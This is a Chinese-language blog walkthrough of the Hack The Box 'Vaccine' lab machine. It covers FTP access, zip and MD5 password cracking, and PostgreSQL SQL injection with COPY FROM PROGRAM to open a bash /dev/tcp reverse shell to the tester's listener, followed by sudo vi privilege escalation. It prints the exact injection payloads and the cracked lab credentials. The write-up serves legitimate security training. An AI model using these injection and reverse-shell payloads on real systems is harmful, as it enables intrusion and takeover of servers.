hack the box vaccine 靶场练习

收集信息

连接hack the box服务器后第一步依然是扫描靶机。

nmap -sV -sS -F 10.10.10.46

-sV 代表扫描端口和开放的服务信息

-sS 代表用TCP半开式扫描

-F 快速扫描,扫描常用的端口

在这里插入图片描述

发现开放了80,21等端口。我们用上一个靶机获取到的账号和密码来连接一下这个ftp服务器,并查看一下有哪一些文件。

ftp 10.10.10.46		//然后更具提示输入账号和密码
ls

在这里插入图片描述

发现了一个backup.zip,把它下载下来并解压。

如果被防火墙拦截则可以开启被动模式,详细了解被动模式可参考:https://www.cnblogs.com/yjf512/p/13206048.html

get backup.zip		//ftp下载文件
exit				//退出ftp程序
unzip backup.zip	//解压zip

在这里插入图片描述

发现解压需要密码。

获取密码

接下来我们来破解一下这个密码。

zip2john backup.zip>result
john result
john --show result

zip2john 是将在zip文件中提取密码密文,然后通过">"把这个密文写到文件result里面。

john 是将这个密文破解,但是破解后不会直接显示出来。

john --show result 这条命令是显示刚刚破解result的密码。

在图中我们可以看到这个zip的密码是 741852963

在这里插入图片描述

unzip backup.zip
vim index.php

解压后我们发现了两个文件,分别是: index.phpstyle.css,通过vim打开 index.php来分析一下代码。竟然发现登陆密码直接写在这个网页中,而没有在数据库中。很明显这个密码是通过了一次md5加密得到的。

在这里插入图片描述

把这个密文放到http://cmd5.com破解,很快,啪的一下的破解了,很明显是个弱口令。

在这里插入图片描述

获取shell

登陆后台,发现有一个搜索框。在这种有数据输入的地方要十分注意,很有可能是有漏洞的。输入一个单引号或双引号试一下,发现报错了,这说明该处有sql注入漏洞。

在这里插入图片描述

直接上sqlmap,但是发现sqlmap获取shell后网站变得奇慢无比,网站的打开速度也变慢了许多,和断了网似的,也不知道是什么原因,因此我们换一种方法。刚刚已经通过sqlmap得知这个网站采用的数据库是PostgreSQL version 11.5,该数据库有COPY命令可以利用,尝试写入一句话木马。

http://10.10.10.46/dashboard.php?search=1';COPY (select '<?php @eval($_GET[a]);?>') TO '/var/www/html/a.php';--

在这里插入图片描述

通过浏览器上显示的信息来看是权限不足,我们换一种方法。通过百度得知这有一个命令执行漏洞,类似于SQL server的xp_cmdshell,可以执行系统命令。为了建立反弹shell,首先在本地监听一个端口。

nc -lvnp 1234

-l 代表监听模式

-v 代表输出详细报告

-n 代表不执行DNS查询,如果使用的是域名就不能加入该参数

-p 指定端口号

然后再在浏览器上url栏的 http://10.10.10.46/dashboard.php?search='后面输入以下命令:

'; CREATE TABLE cmd_exec(cmd_output text); --
'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i &> /dev/tcp/10.10.14.116/1234 0>&1"'; -- 

第一句是创建一个表cmd_exec,用来接收执行的命令。

第二句是执行一段系统命令来建立反弹shell。

下面我们来详细分析一下这段建立反弹shell的命令

bash -c "bash -i &> /dev/tcp/10.10.14.116/1234 0>&1"

bash -c 代表用bash来执行一段命令,参数c后面加上一段需要执行的命令

bash -i 代表建立一个交互式的shell

> 这个我们经常见到,例如我们常用 echo “hello world”>hello.txt,这个代表将将字符串写入一个文件

那么&>又代表什么呢?我们先来了解一下shell中的三个文件描述符(file descriptor)。

0 是一个文件描述符,表示标准输入(stdin),即在shell中我们输入的字符。

1 是一个文件描述符,表示标准输出(stdout),即在shell中系统输出的字符。

2是一个文件描述符,表示标准错误(stderr),即shell中报错输出的字符。

在>前面的&代表文件描述符1和2,也就是标准输出和标准错误信息,这里是把交互式bash中的标准输出信息和报错信息都写入/dev/tcp/10.10.14.116/1234文件中。

这里的/dev/tcp是一个设备文件,并不是一个真正的文本文件。它的作用是建立tcp连接,在这里是与10.10.14.116的1234端口建立连接。

0>&1 这代表bash中的标准输入信息写入文件管道1(stdout),这里的&的意思与前面的不同,这里&与1是一个整体,&1代表文件描述符1(stdout)。而前面已经通过命令&>将文件管道1(stdout)的数据写入了/dev/tcp,所以这里的文件管道0的数据也会跟随文件管道1写入/dev/tcp。这样就将bash -i中的全部数据传输到了本地监听程序中,也就建立一个shell。

更详细的内容可以参考:

https://www.cnblogs.com/liuchaogege/p/6124669.html

https://zoresmile.cn/linux/2020/04/927.html

在这里插入图片描述

在这里插入图片描述

但是我们发现命令并没有执行成功。我们命令中的&变成了%,尝试转义符也没有成功。那我们不输入&,建立一个没有回显的反弹shell。注意在>前边有加一个0,需要穿点数据才能才能建立shell。

'; COPY cmd_exec FROM PROGRAM 'bash -c "bash -i 0> /dev/tcp/10.10.14.116/1234"'; -- 

选在反弹shell建立建立好了,但是没有回显,所以我们需要再建立一个有回显的反弹shell。首先新打开一个终端执行一下命令:

nc -lvnp 4443

然后在这个没有回显的shell中执行以下命令,看到监听终端中收到消息说明有回显的反弹shell建立成功。

bash -c "bash -i &> /dev/tcp/10.10.14.116/4443 0>&1"

占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符

在这里插入图片描述

来到网站目录/var/www/html查看一下有什么文件,查看一下dashboard.php,我们在这个文件里面发现了连接数据库的账号postgres和密码P@5w0rd!,经过测试这个正是当前该系统的用户名和密码。

占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符占位符

首先把shell升级成交互式shell。

SHELL=/bin/bash script -q /dev/null		//升级为交互式shell

SHELL是环境变量,它的值代表系统执行shell的文件位置。

script命令的原本作用是录制终端的会话过程,执行该命令后会运行一个新的shell,在此shell中执行命令的过程将会记录下来并保存在一个文件里面。这里执行script并不需要录制命令过程,我们需要的仅仅是它会运行一个新的shell。

-q 代表以静默方式运行一个新的shell,也就是说在后台运行一个新的shell。如果不加这个参数,则会弹出一个新的shell命令框。

/dev/null在这条命令中扮演的角色是保存script记录的文件,但是/dev/null一个特殊的设备文件,一切写入改文件的数据都会消失。我们不需要记录我们所执行的命令,所以将script所记录的内容指向该设备文件。

更详细内容可以参考:

https://www.xuexila.com/diannao/xitong/linux/3631993.html,linux的script命令

https://blog.csdn.net/longerzone/article/details/12948925,linux下的两个特殊文件——/dev/null 和 /dev/zero 简介及对比

提升权限

然后转到postgres账号,查看一下自己能以root权限运行哪些程序。

su postgres
sudo -l

在这里插入图片描述

我们发现postgres账号可以以root权限运行vi,在vi中是可以调用shell的。我们用root权限打开vi,然后再通过vi调用shell,这样这个shell也是以root权限运行。首先执行一下命令以root的权限打开vi。

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

然后按 进入命令模式,在命令模式下输入以下命令的其中一条即可:

!/bin/bash
!/bin/sh
shell

在vi/vim的命令模式下!加在命令后面表示强制执行,如果加在前边表示这是一条shell命令。以 !/bin/bash为例,这句命令表示以shell命令的方式执行 /bin/bash,也就是打开一个交互式终端。

在vi/vim的命令中,shell表示打开一个终端。

在这里插入图片描述

现在提权成功,可以在 /root/root.txt读取flage了。

参考文献

[1] https://www.linkedin.com/pulse/hack-box-starting-point-vaccine-nathan-barnes?trk=read_related_article-card_title,Hack the Box - Starting Point: Vaccine

[2] https://www.cnblogs.com/liuchaogege/p/6124669.html,shell 1>&2 2>&1 &>filename重定向的含义和区别

[3] https://zoresmile.cn/linux/2020/04/927.html,bash shell——bash -i >& /dev/tcp/192.168.174.128/9090 0>&1

[4] https://blog.csdn.net/Blood_Pupil/article/details/88795627,漏洞复现之PostgreSQL任意命令执行(CVE-2019-9193)

[5] https://www.cnblogs.com/yjf512/p/13206048.html,ftp的passive模式

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

rpsate

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值